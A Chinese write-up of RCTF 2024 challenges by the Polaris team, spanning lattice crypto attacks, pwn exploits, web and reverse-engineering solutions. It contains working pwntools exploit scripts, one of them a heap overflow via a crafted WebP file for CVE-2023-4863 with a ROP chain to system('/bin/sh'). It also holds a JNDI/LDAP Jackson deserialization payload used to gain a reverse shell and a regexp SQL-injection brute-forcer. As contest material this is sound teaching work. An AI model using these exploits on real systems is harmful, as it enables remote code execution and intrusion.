|
排名 |
||
|
11 |
星盟ctf战队 |
6798.95 |
|
12 |
SAINTSEC |
5883.86 |
|
13 |
Er0s1on |
5616 |
|
14 |
V&N |
5262.4 |
|
15 |
Hor1Zzon |
5041 |
|
16 |
Syclover |
5041 |
|
17 |
0RAYS |
4944 |
|
18 |
ukfc |
4635 |
|
19 |
Scr1w |
4267.15 |
|
20 |
S1uM4i |
4129.85 |
|
|
||
Crypto
SignSystem
对于本题来说我们把k写成
DSA中有
此时为了消去d，我们用两组数据做线性运算，得到
把已知量加个括号，并且把j设为1，简化等式
把k的形式，代入进去得到
我们是要求
所以，为了把它的系数变成1，我们乘上
记
得到
于是
所以有
构造格
这里K是2的150次方,有个小细节
乘的不一定是4，而是根据low的值来确定的。
exp.py
from random import choicesfrom hashlib import sha1from Crypto.Util.number import *import stringfrom pwn import *from sage.all import *from tqdm import *import gmpy2import timetable = string.ascii_lowercasehost = '121.37.182.7' #ip地址port = 10089 #端口sh = remote(host,port) #建立连接sh.recvuntil(b"your pubKey:")pub = eval(sh.recvline().decode().strip())p,q,g,y = pubR = []S = []H = []for i in range(19):sh.recvuntil(b">")sh.sendline(b"1")sh.recvuntil(b"Which message to sign?: ")m = "".join(choices(table,k=16))msg = m.encode()h = bytes_to_long(sha1(msg).digest())sh.sendline(msg)sh.recvuntil(b"Signature:")data1 = eval(sh.recvline().decode().strip())r,s = data1S.append(s)R.append(r)H.append(h)n = len(S)r0 = R[0]s0 = S[0]h0 = H[0]def sign(pubkey, x, msg, k):p, q, g, y = pubkeyr = pow(g, k, p) % qHm = int(sha1(msg).hexdigest(), 16)s = (Hm + x * r) * inverse(k, q) % qreturn (r, s)for high in trange(256):for low in range(4):lowbit = low.bit_length()A = []B = []tt = 2**lowbitfor i in range(1,len(R)):a = tt*R[i]*s0 * gmpy2.invert(tt*r0*S[i],q) % qb = (r0*H[i] - R[i]*h0 + R[i]*s0*(high*2**152+low) - r0*S[i]*(high*2**152+low)) * gmpy2.invert(tt*r0*S[i],q) % qA.append(a)B.append(b)n = len(A)Ge = Matrix(ZZ,n+2,n+2)for i in range(n):Ge[i,i] = qGe[-2,i] = A[i]Ge[-1,i] = B[i]K = 2**150Ge[-2,-2] = 1Ge[-1,-1] = Kfor line in Ge.BKZ(block_size=30):if abs(line[-1]) == K:k0_unknown = line[-2]k0 = high*2**152 + k0_unknown*tt + lowd = (k0 * s0 - h0) * gmpy2.invert(r0,q) % qif pow(g,d,p) == y:print(1)sig = sign(pub,d,b"get flag",k0)r,s = sigsh.recvuntil(b">")sh.sendline(b"2")sh.recvuntil(b"Which message to verify?: ")sh.sendline(b"get flag")sh.sendlineafter(b"r:",str(r).encode())sh.sendlineafter(b"s:",str(s).encode())print(sh.recvline())# RCTF{Ev3ry_fighter_h@s_their_signature_style}
Hello,XCTF!
task.py
from Crypto.Util.number import bytes_to_long as b2l, isPrimep, hello = int(input("p = ")), input("hello = ")assert p.bit_length() == 100 and isPrime(p)assert b2l(f"{hello}$".encode()) % p == b2l(b"hello")assert len(hello) == 64 and all(x.upper() in "XCTF" for x in hello)print(f'Hello XCTFer! Take your spoils: {open("flag.txt", "r").read()}')
相当于求解
题目的意思相当于告诉我们hello是由X,C,T,F,x,c,t,f组成的长度为64的字符串，而且以$结尾，求解这个同余式
记明文为m，我们可以写成
36是ord('$')
接下来的想法就是构造格，用0,-1,1这样的小量，代替字符，变成一个背包问题
选取点X(88),f(102）,t(116)来求a,b使得
这个时候，对于求解
再依次加上
即可得到
把左边这个当成一个大的C
构造格
最后注意要在最后一列乘上一个大数。此时
exp.sage
from Crypto.Util.number import *from tqdm import *from pwn import *for _ in trange(100000):p = getPrime(100)c = bytes_to_long(b"hello")lenth = 64c = (c - 36) % pfor i in range(64):c -= 102 * 256^(64-i)c %= pGe = Matrix(ZZ,lenth+2,lenth+2)T = 2**100for i in range(lenth):Ge[i,i] = 1Ge[i,-1] = 14 * 256**(lenth - i)Ge[-2,-2] = 1Ge[-2,-1] = -cGe[-1,-1] = pGe[:,-1:] *= Tfor line in Ge.BKZ(block_size=30):tm = b""if line[-1] == 0:for i in line[:-2]:if i == -1:tm += b"X"if i == 0:tm += b"f"if i == 1:tm += b"t"if len(tm) == 64:print(tm.decode())print(p)sh = remote("121.37.167.239",10089)sh.sendlineafter(b"p = ",str(p).encode())sh.sendlineafter(b"hello = ",tm)print(sh.recvall())
得到的结果，可能出现f,X相反的情况。于是我多试了几组
PWN
五一国际劳动节
多线程菜单题
base::TaskRunner::PostTask启动任务，不同线程负责不同任务。
线程之间存在条件竞争。
这里主要用到两处条件竞争：
CheckMoney中存在 sleep 函数，配合rapids和Magic Castle的购买区别，rapids有sleep延时，Magic Castle没有延时，因此可以构造整数溢出，使得金钱变成一个很大的数值。
bool __fastcall Player::CheckMoney(Player *this, unsigned int a2){...ptr = g_player.ptr;...v3 = ptr->money;if ( v3 >= a2 ){v4 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(&std::__Cr::cout,"x1B[31m [!] Deducting from your account, Please wait ... x1B[0m",59LL);...sleep(1u);...v13->money = v12;...}
NeedsLazyInstance中有nanosleep函数，该任务会根据里面的参数延时启动，但是其任务的参数不变，其参数为Magic_Castle指针，但是在Drop Magic Scroll.中可以释放该指针。因此启动1337功能后，可以立即Drop Magic Scroll.，从而导致UAF漏洞。
void __fastcall MagicCastle::SwitchHandle(player **this){...if ( (_DWORD)this != 3 ){if ( (_DWORD)this != 1337 )return;...if ( g_player.ptr <= (player_inner *)((char *)&dword_0 + 1) ){if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) ){*(_OWORD *)&g_player.inner.field_0 = 0LL;qword_145030 = 0LL;v12 = &g_player.inner;qword_145040 = 0LL;byte_145048 = 0;base::internal::CompleteLazyInstance(&g_player,(__int64)&g_player.inner,0LL,(void (__fastcall *)(void *))&g_player);}else{v12 = g_player.ptr;}}Magic_Castle = v12->Magic_Castle;...v17[4] = MagicHeld::Gods;v17[5] = 0LL;v17[6] = Magic_Castle;(**v11)(v11, v18, v17, 3000000LL);return;}goto LABEL_41;}...
利用脚本
#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote('1.94.107.129', 10088)sh.sendlineafter(b'name: n', b'/bin/sh')sh.sendlineafter(b'4. Quit.n>> ', b'1')sh.sendlineafter(b'>> ', b'3')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'1')sh.sendlineafter(b'>> ', b'1')time.sleep(1.1)sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'3')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'2')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'1')sh.sendlineafter(b'>> ', b'2')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'3')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'2')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'1')sh.sendlineafter(b'>> ', b'3')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'3')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'1337')sh.recvuntil(b'>> ')system_addr = int(sh.recvuntil(b'n'), 16)image_addr = int(sh.recvuntil(b'n'), 16)success('system_addr: ' + hex(system_addr))success('image_addr: ' + hex(image_addr))sh.sendlineafter(b'realm!!!', b'3')time.sleep(1.1)sh.sendlineafter(b'4. Quit.n>> ', b'1')sh.sendlineafter(b'>> ', b'1')time.sleep(0.1)sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'1337')sh.sendlineafter(b'4. Quit.n>> ', b'2')sh.sendlineafter(b'>> ', b'2')time.sleep(0.9)sh.sendlineafter(b'4. Quit.n>> ', b'3')sh.sendlineafter(b'Comments: ', b'a' * 0x28 + p64(system_addr))sh.interactive()
dwebp
CVE-2023-4863
复现参照：
# checkout webpgit clone https://chromium.googlesource.com/webm/libwebp/ webp_testcd webp_test/# checkout vulnerable versiongit checkout 7ba44f80f3b94fc0138db159afea770ef06532a0# enable AddressSanitizermake -f makefile.unixcd examples/# fetch mistymntncop's proof-of-concept codewget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c# build and run proof-of-conceptgcc -o craft craft.c./craft bad.webp# test trigger file./dwebp bad.webp -o test.png
根据给出的 poc 写对应的利用脚本：
#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')def add(index, size, content):sh.sendlineafter(b'5. Edit feedbackn> ', b'2')sh.sendlineafter(b'> ', str(index).encode())sh.sendlineafter(b'feedback?n', str(size).encode())sh.sendlineafter(b'feedback:n', content)def show(index):sh.sendlineafter(b'5. Edit feedbackn> ', b'3')sh.sendlineafter(b'> ', str(index).encode())def delete(index):sh.sendlineafter(b'5. Edit feedbackn> ', b'4')sh.sendlineafter(b'> ', str(index).encode())def edit(index, content):sh.sendlineafter(b'5. Edit feedbackn> ', b'5')sh.sendlineafter(b'> ', str(index).encode())sh.sendlineafter(b'feedback:n', content)sh = remote('123.60.91.255', 10088)add(1, 0x43a0, b'aaaa')add(2, 0x20, b'bbbb')delete(2)add(2, 0x10, b'bbbb')delete(2)add(2, 0x20, b'bbbb')delete(1)sh.sendlineafter(b'5. Edit feedbackn> ', b'1')sh.sendlineafter(b'base64:n', b'UklGRlYBAABXRUJQVlA4TEkBAAAvAAAAABoPwAAAANHc1gcAAAAAAAAAAAAAAAAAAAAAAAAAAACgqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq2bdt/7nseQNEWACS1rTHXBgAAAAAAAAAAAAAAAAAAAAAAAABAVVVVVVVVVVVVVVVVVVVVVVVVVVXVqqqqqqqqqqqqqqqqqqqqqqqqqqrOff97AEVbAJDUtsZcGwAAAAAAAAAAAAAAAAAAAAAAAAAAVVVVVVVVVVVVVVVVVVVVVVVVVVVVq6qqqqqqqqqqqqqqqqqqqqqqqqo69/3vARRtAUBS2xpzbQAAAAAAAAAAAAAAAAAAAAAAAAAAVFVVVVVVVVVVVVVVVVVVVVVVVVVVraqqqqqqqqqqqqqqqqqqqqqqqqrq3Pe/BwAAAMmJJKSqumeSAAAA7N79q6qqAgA=�')add(1, 0x100, b'bbbb')add(1, 0x100, b'bbbb')show(1)sh.recvuntil(b'bbbbn���')libc_addr = u64(sh.recvn(8)) - 0x21ace0success('libc_addr:' + hex(libc_addr))edit(2, b'c' * 0x30 + p64(libc_addr + 0x222200) + p64(8))show(1)sh.recvuntil(b'Feedback:n')stack_addr = u64(sh.recvn(8))success('stack_addr:' + hex(stack_addr))edit(2, b'c' * 0x30 + p64(stack_addr - 0x1a0) + p64(0x100))edit(1, flat([libc_addr + 0x0000000000029139, #: ret;libc_addr + 0x000000000002a3e5, #: pop rdi; ret;libc_addr + 0x1d8678, # "/bin/sh"libc_addr + 0x50d70, # system]))sh.interactive()
Web
openYourEyesToSeeTheWorld
这题思路挺简单的，抽象的地方在出题人写的白名单waf。
题目核心就是一个ldap请求，可以连到任意的ldap服务器，任意传参执行search操作
public class DemoController {public String sayHello( Map<String, Object> bean) throws Exception {// Properties object is created to hold the LDAP configuration.Properties properties = new Properties();String ip = (String)bean.get("ip");Integer port = (Integer)bean.get("port");if (ip.matches("^[0-9.]+$")) {String url = "ldap://" + ip + ":" + port;properties.setProperty("java.naming.provider.url", url);properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");String searchBase = (String)bean.get("searchBase");String filter = (String)bean.get("filter");if (searchBase != null && filter != null) {new InitialDirContext(properties).search(searchBase, filter, null);}}return "index";}}
问题出在search函数，searchBase参数可以触发到c_lookup，也就是JNDI
函数调用栈
c_lookup:1017, LdapCtx (com.sun.jndi.ldap)c_processJunction_nns:342, ComponentContext (com.sun.jndi.toolkit.ctx)c_search_nns:192, ComponentDirContext (com.sun.jndi.toolkit.ctx)p_search:388, ComponentDirContext (com.sun.jndi.toolkit.ctx)search:358, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)search:341, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)search:267, InitialDirContext (javax.naming.directory)sayHello:34, DemoController (com.example.demo.controller)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)doDispatch:1072, DispatcherServlet (org.springframework.web.servlet)doService:965, DispatcherServlet (org.springframework.web.servlet)processRequest:1006, FrameworkServlet (org.springframework.web.servlet)doPost:909, FrameworkServlet (org.springframework.web.servlet)service:555, HttpServlet (javax.servlet.http)service:883, FrameworkServlet (org.springframework.web.servlet)service:623, HttpServlet (javax.servlet.http)internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)doFilter:51, WsFilter (org.apache.tomcat.websocket.server)internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)doFilter:35, RequestWrapperFilter (com.example.demo.controller)internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)doFilter:117, OncePerRequestFilter (org.springframework.web.filter)internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)doFilterInternal:93, FormContentFilter (org.springframework.web.filter)doFilter:117, OncePerRequestFilter (org.springframework.web.filter)internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)doFilter:117, OncePerRequestFilter (org.springframework.web.filter)internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)doFilter:153, ApplicationFilterChain (org.apache.catalina.core)invoke:168, StandardWrapperValve (org.apache.catalina.core)invoke:90, StandardContextValve (org.apache.catalina.core)invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)invoke:130, StandardHostValve (org.apache.catalina.core)invoke:93, ErrorReportValve (org.apache.catalina.valves)invoke:74, StandardEngineValve (org.apache.catalina.core)service:342, CoyoteAdapter (org.apache.catalina.connector)service:390, Http11Processor (org.apache.coyote.http11)process:63, AbstractProcessorLight (org.apache.coyote)process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run:52, SocketProcessorBase (org.apache.tomcat.util.net)runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:748, Thread (java.lang)
动调注意到需要获取getHead和getTail，而CompositeName的分隔符是 "/"
然后思路就很明确，JNDI触发LDAP反序列化打Jackson即可，payload如下：
{"ip":"xxx.xxx.xxx.xxx","port":1389,"searchBase":"JacksonReverseShellu002f","filter":"jasper"}其实如果filter是 a=b 的格式，searchBase随便设置，也会去请求ldap服务器，但是经过动调发现不是调的lookup，感兴趣可以试一下，在下面这个函数里：
var6 = this.c_search(var5.getHead(), var2, var3, var4);反弹shell拿flag
what_is_love
根据源码可以知道
key1表的love_key列存了第一部分flag的值 且存在sql注入
key1=jasper' || love_key REGEXP "^R"#
接下来我们找个regexp注入的脚本 因为对payload有字符限制 我们可以用^$分别进行从前 从后读取 到完整的第一部分的flag
import requestsimport string# flag = "rctf{the_first_step_is_to_ge"# flag = step_is_to_get_to_know# strs = string.ascii_letters + string.digits + "-{}_"strs = "abcdefghijklmnopqrstuvwxyz0123456789-{}_"url = "http://1.94.13.174:10088/key1"if __name__ == "__main__":name = ''for i in range(1,40):char = ''for j in strs:# payload = "'||love_key REGEXP '^{}'#"payload = "jasper'||love_key REGEXP '{}$'#"# payload1=payload.format(name+j)payload1 = payload.format(j+name)data={"key1":payload1}r = requests.post(url,data=data)if "success" in r.text:name = j+nameprint(name)# print(j,end='')char = jbreakif char =='#':print(name)break
接下来看第二部分
可以看见have_lovers为true的时候才能获得flag 我们接着找这个属性在哪会被赋值
找到了
if (userInfo.username === my_lover.username &&userInfo.love_time === my_lover.love_time) {have_lovers = true;}
满足这个条件的时候 会得到我们想要的
class My_lover {constructor() {this.username = process.env.LOVER || "lover";this.love_time = parseInt(process.env.LOVE_TIME, 10) || 30;}}
username我们可以就用他默认的lover测试 因为题目名字也和Lover有关系 接下来就是看love_time
我们去搜索parseInt函数
如果传进去的参数是字符串（不带数字）该函数会返回NaN
这个很重要
Number 函数会尝试将其转换为数字。如果转换成功，无论原始值是整数、浮点数、科学记数法表示的数字还是某些字符串形式的数字，都会返回相应的数字。如果转换失败，它会返回 NaN
this.love_time = parseInt(process.env.LOVE_TIME, 10) || 30;
因为这段代码 我们猜测假如环境变量的值为非数字字符串，那love_time就是nan
那我们只要输入非数字字符串的love_time都会返回nan 从而结合username我们可以就用他默认的lover测试绕过
于是我们本地伪造
Misc
五一国际劳动节
直接logo 贴进去就行了：
logo = """################################################################################################################################ # ######################################################################### ## ########### ## ## ########### ######## ########## ## ######### ########## ###### ####### ######## ######## ########################## ############# ############ ###### ########### ###### ########### ############## ############ ###################### ############# ##### ########### ############# ############ ###################### ############## #### ############# ############# ############# ###################### ############## ### ############# ############ ############## #################### ############## ### ############### ############ ############### ################## ############## #### ############### ############ ################# ################ ############# #### ############### ########### #################### ############# ############ ##### ############### ########### ###################### ############ #### ###### ############## ########### ######################## ########## #### ######## ############# ########### ########################## ######### ######### ######### ############# ############ ########################## ######### ########## ######## ########### ############# ########################## ######### ########### ######## ######### ############# ############# ######### ######### ############ ######### ###### ############ ############### #### ########## ############## ########### ############ ######### ############# ############################### ############################################## ################################################################################################################""".strip()
Logo：2024
二进制+36进制+长度编码压缩数据
d="";i=0;c="#";k="#"*100while i<1175:d=d+int(f'{int("2csqv07nenmzp688vu2h9hs4iebn0zyy42m6kr0f7hvhtoq5l8gw562kyv7kx3g8njr9ilqgfjsjmisedy8ztiryeamwjwmf32xmxty9heqf0vca7sospweayrfra3wgfzt2vyi9ih0szfu10cf0de28cmeio733y8pco9snt8d91uru5bpslt3em5upwl5udj3fqz7h0wqubi9nfrsjwvlz50y6zf52uh70",36):b}'[i:i+5],2)*c;c=' 'if c=='#'else'#';i=i+5f=k+"n";i=0while i<2000:f=f+d[i:i+100]+'n';i=i+100f=f+k;logo=f[:157]+"#"+f[158:178]+"#"+f[179:2081]+"#"+f[2082:]
s1ayth3sp1re
直接反编译找到 >3000的分支就能找到解密函数了
unsigned char iArr[] = { 164, 158, 95, 107, 4, 215, 108, 115, 5, 8, 25, 57, 41, 236, 231, 17, 85 };unsigned char iArr2[] = { 246, 221, 11, 45, 127, 148, 45, 36, 70, 73, 78, 8, 98, 141, 140, 112, 40 };unsigned char res2[100];res2[17] = 0;for (int i = 0; i < 17; i++) {res2[i]=(iArr[i] ^ iArr2[i]);}//0x000000ffce4ff350 "RCTF{CAWCAW1Kaka}"
RE
五一国际劳动节
一个 2048 游戏，得分足够多就会给 flag，初始得分有 10000 ，算了一下如果每次都拉满的话，赢个 7-8次应该就直接足够了，直接暴力写一个脚本 awds 遍历，运气好的话很快就成了：
from pwn import *import timecontext.log_level="debug"#p=process("./2048")p=remote("1.94.104.104",10088)p.recvuntil("exitn")p.sendline("1")p.recvuntil(": ")p.sendline("10000")pad=["a","w","d","s"]index=0while 1:res=p.recvuntil("or r",timeout=1)if len(res)==0:breakp.sendline(pad[index%4])index+=1p.recvuntil("your current score: ")point=int(p.recvuntil("n")[:-1])p.sendline("1")p.recvuntil(": ")p.sendline(str(point))index=0while 1:res=p.recvuntil("or r",timeout=1)if len(res)==0:breakp.sendline(pad[index%4])index+=1for i in range(100):index=0while 1:res=p.recvuntil("or r",timeout=1)if len(res)==0:breakp.sendline(pad[index%4])index+=1end=input()if "fuck" in end:breakp.recvuntil("your current score: ",timeout=1)point=int(p.recvuntil("n",timeout=1)[:-1])p.sendline("1")p.recvuntil(": ")p.sendline(str(point))p.interactive()
不出所料跑了几次直接三百万分了....
blocker_vm
一个虚拟机，但是 opcode 的来源不太清楚，但是看了一遍发现都是 xor 操作，于是直接上单字节爆破就行了：
import subprocessimport stringstring.printablefrom colorama import initinit(autoreset=True)printable = b"`abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^{|}~"import frida, sysnumber = 23new_number = 0def is_right():global new_number,numberif new_number > number:number = new_numberreturn Trueelse:return Falsedef on_message(message, data):global new_numberprint(message)if message['type'] == 'send':print("[*] {0}".format(message['payload']))new_number = message['payload']#print(message['payload'])# val = int(message['payload'], 16)# script.post({'type': 'input', 'payload': str(val * 2)})elif message['type'] == "error":print(message["description"])print(message["stack"])print(message["fileName"],"line:",message["lineNumber"],"colum:",message["columnNumber"])else:print(message)jscode = open("test.js","rb").read().decode()import subprocessflag = b"RCTF{a_baby_debug_blok"for index in range(len(flag),25):# for i in range(32,128):for i in range(len(printable)):process = subprocess.Popen("bloker_vm.exe",stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,bufsize=0)tmp_flag = (flag+printable[i:i+1]).ljust(24,b"A")+b"}n"print(tmp_flag)print("try index:",index ,"chr :",i)session = frida.attach("bloker_vm.exe")script = session.create_script(jscode)script.on('message', on_message)print('[*] Start attach')script.load()process.stdin.write(tmp_flag)output, error = process.communicate()print(output)if(is_right() == True):flag +=(printable[i:i+1])print(flag)breakprocess.terminate()
但是最后两个字节一直爆不出来，爆到 RCTF{a_baby_debug_blok 之后它就没办法继续了，直接再写一个脚本爆破就行了：
import subprocessimport stringstring.printablefrom colorama import initinit(autoreset=True)printable = b"`abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^{|}~"import subprocessflag = b"RCTF{a_baby_debug_blok"for index in range(len(flag),25):# for i in range(32,128):for i in range(len(printable)):for j in range(len(printable)):process = subprocess.Popen("bloker_vm.exe",stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,bufsize=0)tmp_flag = (flag+printable[i:i+1]+printable[j:j+1]).ljust(24,b"A")+b"}n"print(tmp_flag)print("try index:",index ,"chr :",i)process.stdin.write(tmp_flag)output, error = process.communicate()print(output)if b"try" in output:continueelse:print("find ok!")print(tmp_flag)exit(0)process.terminate()
PPTT
还是爆破......随便输入点啥把结果抓出来然后按照 strcmp 的表恢复顺序，然后就只有 7 个字节未知了，直接开始爆破就行了。不过 strcmp 被 hook 了，比较的时候会改字符，这个需要另外注意一下即可，然后就是开爆：
v23=0x6d61657971007000v24=0x5200007b75005473v25=0x00706a004674437dfor i1 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dif ((v23 - v24)&0xff) == (0x1AEFF6FDFC121BF1&0xff):for i2 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dv23+=(i2<<16)v24+=((i2-0x12)<<16)v20 = v24 & v23v19 = (v24 & v23 | v25 & v23) + 0x10086v18 = (v25 & v23 ^ v25 & v24) - 0x114514v17 = v24 & v23 ^ v25 & v23if ((v23 - v24)&0xffffff) == (0x1AEFF6FDFC121BF1&0xffffff):if ((v18 ^ (v19 - v20))&0xffffff) == (0x2100A0203EFBB8B&0xffffff):if ((v17 ^ v19 ^ v20)&0xffffff) == (0x4083102108E&0xffffff):if ( ((v19 ^ v17) - v18)&0xffffff) == (0x1551566F3C6485ED&0xffffff):if ( (v18 ^ v19 ^ v25 & v24)&0xffffff) == ( 0x40836ECAB9A&0xffffff):for i3 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dv23+=(i2<<16)v24+=((i2-0x12)<<16)v25+=(i3<<32)v20 = v24 & v23v19 = (v24 & v23 | v25 & v23) + 0x10086v18 = (v25 & v23 ^ v25 & v24) - 0x114514v17 = v24 & v23 ^ v25 & v23if ((v23 - v24)&0xffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffff):if ((v18 ^ (v19 - v20))&0xffffffffff) == (0x2100A0203EFBB8B&0xffffffffff):if ((v17 ^ v19 ^ v20)&0xffffffffff) == (0x4083102108E&0xffffffffff):if ( ((v19 ^ v17) - v18)&0xffffffffff) == (0x1551566F3C6485ED&0xffffffffff):if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffff) == ( 0x40836ECAB9A&0xffffffffff):for i4 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dv23+=(i2<<16)v24+=((i2-0x12)<<16)v25+=(i3<<32)v24+=(i4<<40)v20 = v24 & v23v19 = (v24 & v23 | v25 & v23) + 0x10086v18 = (v25 & v23 ^ v25 & v24) - 0x114514v17 = v24 & v23 ^ v25 & v23if ((v23 - v24)&0xffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffff):if ((v18 ^ (v19 - v20))&0xffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffff):if ((v17 ^ v19 ^ v20)&0xffffffffffff) == (0x4083102108E&0xffffffffffff):if ( ((v19 ^ v17) - v18)&0xffffffffffff) == (0x1551566F3C6485ED&0xffffffffffff):if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffff) == ( 0x40836ECAB9A&0xffffffffffff):for i5 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dv23+=(i2<<16)v24+=((i2-0x12)<<16)v25+=(i3<<32)v24+=(i4<<40)v24+=(i5<<48)v20 = v24 & v23v19 = (v24 & v23 | v25 & v23) + 0x10086v18 = (v25 & v23 ^ v25 & v24) - 0x114514v17 = v24 & v23 ^ v25 & v23if ((v23 - v24)&0xffffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffffff):if ((v18 ^ (v19 - v20))&0xffffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffffff):if ((v17 ^ v19 ^ v20)&0xffffffffffffff) == (0x4083102108E&0xffffffffffffff):if ( ((v19 ^ v17) - v18)&0xffffffffffffff) == (0x1551566F3C6485ED&0xffffffffffffff):if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffffff) == ( 0x40836ECAB9A&0xffffffffffffff):for i6 in range(0x12,128):v23=0x6d61657971007000+i1v24=0x5200007b75005473v25=0x00706a004674437dv23+=(i2<<16)v24+=((i2-0x12)<<16)v25+=(i3<<32)v24+=(i4<<40)v24+=(i5<<48)v25+=(i6<<56)v20 = v24 & v23v19 = (v24 & v23 | v25 & v23) + 0x10086v18 = (v25 & v23 ^ v25 & v24) - 0x114514v17 = v24 & v23 ^ v25 & v23if ((v23 - v24)&0xffffffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffffffff):if ((v18 ^ (v19 - v20))&0xffffffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffffffff):if ((v17 ^ v19 ^ v20)&0xffffffffffffffff) == (0x4083102108E&0xffffffffffffffff):if ( ((v19 ^ v17) - v18)&0xffffffffffffffff) == (0x1551566F3C6485ED&0xffffffffffffffff):if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffffffff) == ( 0x40836ECAB9A&0xffffffffffffffff):print("byte1: "+chr(i1)+" "+hex(i1))print("byte2: "+chr(i2)+" "+hex(i2))print("byte3: "+chr(i2-0x12)+" "+hex(i2-0x12))print("byte4: "+chr(i3)+" "+hex(i3))print("byte5: "+chr(i4)+" "+hex(i4))print("byte6: "+chr(i5)+" "+hex(i5))print("byte7: "+chr(i6)+" "+hex(i6))#RCTF{sj123emqsp4567tyua}#RCTF{sjknwemqspsdaqtyua}
文末:
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原文始发于微信公众号（星盟安全）：RCTF 2024 Writeup --Polaris战队
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